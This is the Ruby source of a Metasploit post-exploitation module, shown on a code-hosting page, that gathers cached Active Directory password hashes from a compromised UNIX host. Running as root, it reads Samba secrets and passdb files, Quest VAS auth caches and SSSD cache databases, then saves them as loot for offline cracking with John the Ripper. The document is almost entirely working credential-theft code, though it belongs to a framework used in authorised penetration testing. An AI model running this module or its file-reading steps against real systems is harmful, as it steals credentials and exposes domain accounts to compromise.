Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/unix_cached_ad_hashes.rb
Views: 11623
# Copyright (c) 2015-2018, Cisco International Ltd1#2# Redistribution and use in source and binary forms, with or without3# modification, are permitted provided that the following conditions are met:4# * Redistributions of source code must retain the above copyright5# notice, this list of conditions and the following disclaimer.6# * Redistributions in binary form must reproduce the above copyright7# notice, this list of conditions and the following disclaimer in the8# documentation and/or other materials provided with the distribution.9# * Neither the name of the Cisco International Ltd nor the10# names of its contributors may be used to endorse or promote products11# derived from this software without specific prior written permission.12#13# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND14# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED15# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE16# DISCLAIMED. IN NO EVENT SHALL CISCO INTERNATIONAL LTD BE LIABLE FOR ANY17# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES18# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;19# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND20# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT21# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS22# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.23##24# This module requires Metasploit: https://metasploit.com/download25# Current source: https://github.com/rapid7/metasploit-framework26##2728class MetasploitModule < Msf::Post29include Msf::Post::File30include Msf::Post::Unix31include Msf::Post::Common3233def initialize(info = {})34super(35update_info(36info,37'Name' => 'UNIX Gather Cached AD Hashes',38'Description' => %q{ Post Module to obtain all cached AD hashes on the targeted UNIX machine. These can be cracked with John the Ripper (JtR). },39'License' => MSF_LICENSE,40'Author' => [ 'Tim Brown <timb[at]nth-dimension.org.uk>'],41'Platform' => %w[linux osx unix solaris aix],42'SessionTypes' => [ 'meterpreter', 'shell' ],43'Notes' => {44'Stability' => [CRASH_SAFE],45'SideEffects' => [IOC_IN_LOGS],46'Reliability' => []47}48)49)50end5152def run53fail_with(Msf::Module::Failure::NoAccess, 'Must be running as root') unless is_root?54print_status('Finding files')55files = [ '/var/lib/samba/private/secrets.tdb', '/var/lib/samba/passdb.tdb', '/var/opt/quest/vas/authcache/vas_auth.vdb' ]56files += cmd_exec('ls /var/lib/sss/db/cache_*').split(/\r\n|\r|\n/)57files = files.select { |d| file?(d) }58if files.nil? || files.empty?59print_error('No cached AD hashes found')60return61end62download_loot(files)63end6465def download_loot(files)66print_status("Looting #{files.count} files")67files.each do |file|68file.chomp!69sep = '/'70print_status("Downloading #{file}")71data = read_file(file)72file = file.split(sep).last73loot_file = store_loot('unix_cached_ad_hashes', 'application/vnd.sqlite3', session, data, "unix_cached_ad_hashes_#{file}", 'Cached AD Hashes File')74print_good("File stored in: #{loot_file}")75end76end77end787980